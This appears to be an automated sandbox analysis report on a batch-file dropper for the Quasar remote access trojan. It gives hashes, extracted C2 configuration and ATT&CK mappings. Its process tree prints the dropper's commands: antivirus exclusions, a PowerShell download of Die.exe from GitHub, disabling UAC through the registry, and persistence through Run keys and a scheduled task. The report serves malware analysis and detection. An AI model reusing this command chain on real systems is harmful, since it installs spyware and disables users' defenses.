quasar | 7680d0a8ddfaa5802cc5b3f658fb24b1a1df3c19121cb7e365c9fd3dbbf70213

Analysis

max time kernel
143s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
14/08/2024, 12:37

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General

Target
-.bat.fud.bat
Size 8KB
Sample240814-ptsy3axcpr
SHA256 7680d0a8ddfaa5802cc5b3f658fb24b1a1df3c19121cb7e365c9fd3dbbf70213
MD5 5f6b1db506b37d5de1b52d70f1a42b1d
SHA1 df4baf61c956eccd919deb74b1fdd7dc9d319926
SHA512 c574a8872a4954caacd25e4ddb5d594bbc27d363ea7a8e1343963c2413d960d6891797c0ede0b3bc7365cf3628d5eb8a39a1b5d70fe87b7e72b51fcadf3829ee
SSDEEP 192:Y+pkh/m0cbdoW/CX2bKesv6jcNQbWZdtJiO4qsGJ3nI1M0:YVh/VY7/CX2bTaZdHiFqfRIB
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

quasar %payload%evasion execution persistence spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.4.1

Botnet

%PAYLOAD%

66.66.66.66:6666
66.6v6.66.66:6666
v:6666
147.185.221.21:55609
8.8.8.8:80
1.1.11.1.1.1.1:443
1.1.1.1:443

Mutex

1e59bb04-60ad-4948-8fa2-6b679edd04ba

Attributes

encryption_key
070CDBCBB8132B62B93E1CB06630D9221F0FFA4A
install_name
UnderControl.exe
log_directory
Logs
reconnect_delay
2000
startup_key
uno
subdirectory
Microsoft

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000600000001da3a-44.dat	family_quasar
behavioral2/memory/2680-47-0x00000000006C0000-0x00000000009EC000-memory.dmp	family_quasar

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Blocklisted process makes network request 2 IoCs

flow	pid	Process
21	3116	powershell.exe
27	3116	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
3116	powershell.exe
3056	powershell.exe
1700	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 2 IoCs

pid	Process
2680	Die.exe
1284	UnderControl.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\- = "C:\\Users\\Admin\\AppData\\Local\\PP2\\Die.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\- = "C:\\Windows\\System32\\Microsoft\\UnderControl.exe\" /f"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\- = "C:\\Users\\Admin\\AppData\\Local\\PP2\\Die.exe"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
24	raw.githubusercontent.com
27	raw.githubusercontent.com

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Microsoft	UnderControl.exe
File created	C:\Windows\system32\Microsoft\UnderControl.exe	Die.exe
File opened for modification	C:\Windows\system32\Microsoft\UnderControl.exe	Die.exe
File opened for modification	C:\Windows\system32\Microsoft	Die.exe
File opened for modification	C:\Windows\system32\Microsoft\UnderControl.exe	UnderControl.exe

Modifies registry key 1 TTPs 4 IoCs

Modify Registry

T1112

pid	Process
3760	reg.exe
4524	reg.exe
5036	reg.exe
5060	reg.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5104	schtasks.exe
4244	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3056	powershell.exe
3056	powershell.exe
1700	powershell.exe
1700	powershell.exe
3116	powershell.exe
3116	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	3056	powershell.exe
Token: SeDebugPrivilege	1700	powershell.exe
Token: SeDebugPrivilege	3116	powershell.exe
Token: SeDebugPrivilege	2680	Die.exe
Token: SeDebugPrivilege	1284	UnderControl.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1284	UnderControl.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 4860 wrote to memory of 640	4860	cmd.exe	85
PID 4860 wrote to memory of 640	4860	cmd.exe	85
PID 640 wrote to memory of 2968	640	net.exe	86
PID 640 wrote to memory of 2968	640	net.exe	86
PID 4860 wrote to memory of 3056	4860	cmd.exe	87
PID 4860 wrote to memory of 3056	4860	cmd.exe	87
PID 4860 wrote to memory of 1700	4860	cmd.exe	91
PID 4860 wrote to memory of 1700	4860	cmd.exe	91
PID 4860 wrote to memory of 2096	4860	cmd.exe	92
PID 4860 wrote to memory of 2096	4860	cmd.exe	92
PID 4860 wrote to memory of 3116	4860	cmd.exe	93
PID 4860 wrote to memory of 3116	4860	cmd.exe	93
PID 4860 wrote to memory of 3760	4860	cmd.exe	99
PID 4860 wrote to memory of 3760	4860	cmd.exe	99
PID 4860 wrote to memory of 2680	4860	cmd.exe	100
PID 4860 wrote to memory of 2680	4860	cmd.exe	100
PID 4860 wrote to memory of 4876	4860	cmd.exe	101
PID 4860 wrote to memory of 4876	4860	cmd.exe	101
PID 4860 wrote to memory of 4524	4860	cmd.exe	102
PID 4860 wrote to memory of 4524	4860	cmd.exe	102
PID 4860 wrote to memory of 5036	4860	cmd.exe	103
PID 4860 wrote to memory of 5036	4860	cmd.exe	103
PID 4860 wrote to memory of 5060	4860	cmd.exe	104
PID 4860 wrote to memory of 5060	4860	cmd.exe	104
PID 2680 wrote to memory of 5104	2680	Die.exe	106
PID 2680 wrote to memory of 5104	2680	Die.exe	106
PID 2680 wrote to memory of 1284	2680	Die.exe	108
PID 2680 wrote to memory of 1284	2680	Die.exe	108
PID 1284 wrote to memory of 4244	1284	UnderControl.exe	109
PID 1284 wrote to memory of 4244	1284	UnderControl.exe	109

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2096	attrib.exe
4876	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\-.bat.fud.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4860
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:640
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:2968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\PP2'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3056
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\Microsoft'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1700
- C:\Windows\system32\attrib.exe
  attrib +h "PP2" /s/d
  2⤵
  - Views/modifies file attributes
  PID:2096
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  Powershell -Command "Invoke-Webrequest 'https://github.com/AdeebToPro/-/raw/main/Die.exe' -OutFile Die.exe"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3116
- C:\Windows\system32\reg.exe
  reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
  2⤵
  - UAC bypass
  - Modifies registry key
  PID:3760
- C:\Users\Admin\AppData\Local\PP2\Die.exe
  Die.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2680
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks" /create /tn "uno" /sc ONLOGON /tr "C:\Windows\system32\Microsoft\UnderControl.exe" /rl HIGHEST /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5104
- - C:\Windows\system32\Microsoft\UnderControl.exe
    "C:\Windows\system32\Microsoft\UnderControl.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:1284
  - - C:\Windows\SYSTEM32\schtasks.exe
      "schtasks" /create /tn "uno" /sc ONLOGON /tr "C:\Windows\system32\Microsoft\UnderControl.exe" /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4244
- C:\Windows\system32\attrib.exe
  attrib +h "C:\Users\Admin\AppData\Local\PP2\Die.exe" /s /d
  2⤵
  - Views/modifies file attributes
  PID:4876
- C:\Windows\system32\reg.exe
  reg ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v - /t REG_SZ /d "C:\Users\Admin\AppData\Local\PP2\Die.exe" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:4524
- C:\Windows\system32\reg.exe
  reg ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v - /t REG_SZ /d "C:\Windows\System32\Microsoft\UnderControl.exe\" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:5036
- C:\Windows\system32\reg.exe
  reg ADD HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v - /t REG_SZ /d "C:\Users\Admin\AppData\Local\PP2\Die.exe" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:5060

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
MD5 d28a889fd956d5cb3accfbaf1143eb6f
SHA1 157ba54b365341f8ff06707d996b3635da8446f7
SHA512 0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 a6c642eaf80247e9682be60ab5ae9ece4d042af56013d164d8047b6fd1aefa1d
MD5 caae66b2d6030f85188e48e4ea3a9fa6
SHA1 108425bd97144fa0f92ff7b2109fec293d14a461
SHA512 189119a2390e51a49ea0fb8ad1427279cc2bf85f220f3212957c50b33387623b42ab7736fb5a717757b5c4b99c570e7ed2e5e6a578424aafb5c126cdf129ea15
MD5 SHA1 SHA512

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Die.exe

Path C:\Users\Admin\AppData\Local\PP2\Die.exe
Size 3.2MB
SHA256 0fff7004883e865d1eef661d4a7409e75d7c1393902dc483c26a280aecfa4e03
MD5 fbcff1aa50bc5a65015472fe1ad0b654
SHA1 c01de71f6e14427c9120d0a18fb2129eeda8ce2e
SHA512 835b0a86167334f3a2bc74a6d076216335aceffc46c8559285c886088743934a2252f49d4ce97ef90dbc6799815903513c336856869582d051eb5b6d37d4b266
SSDEEP 49152:DvDbkh2nPabr1sPJlgDNBLSA7ukBiQaEf/Zk/M5hoGdtUDTHHB72eh2NT:DvDAh2nPabr1sPJlgDNBSA7ukBiQV/
MD5 SHA1 SHA512 SSDEEP

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__PSScriptPolicyTest_zpgyaiao.scd.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zpgyaiao.scd.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/1284-55-0x000000001C6E0000-0x000000001C792000-memory.dmp

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memory/1284-54-0x000000001BEB0000-0x000000001BF00000-memory.dmp

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memory/1700-18-0x00007FFBCA030000-0x00007FFBCAAF1000-memory.dmp

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memory/1700-19-0x00007FFBCA030000-0x00007FFBCAAF1000-memory.dmp

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memory/1700-17-0x00007FFBCA030000-0x00007FFBCAAF1000-memory.dmp

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memory/1700-31-0x00007FFBCA030000-0x00007FFBCAAF1000-memory.dmp

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memory/2680-47-0x00000000006C0000-0x00000000009EC000-memory.dmp

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memory/3056-0-0x00007FFBCA033000-0x00007FFBCA035000-memory.dmp

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memory/3056-15-0x00007FFBCA030000-0x00007FFBCAAF1000-memory.dmp

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memory/3056-12-0x00007FFBCA030000-0x00007FFBCAAF1000-memory.dmp

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memory/3056-11-0x00007FFBCA030000-0x00007FFBCAAF1000-memory.dmp

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memory/3056-6-0x000001CEB3290000-0x000001CEB32B2000-memory.dmp

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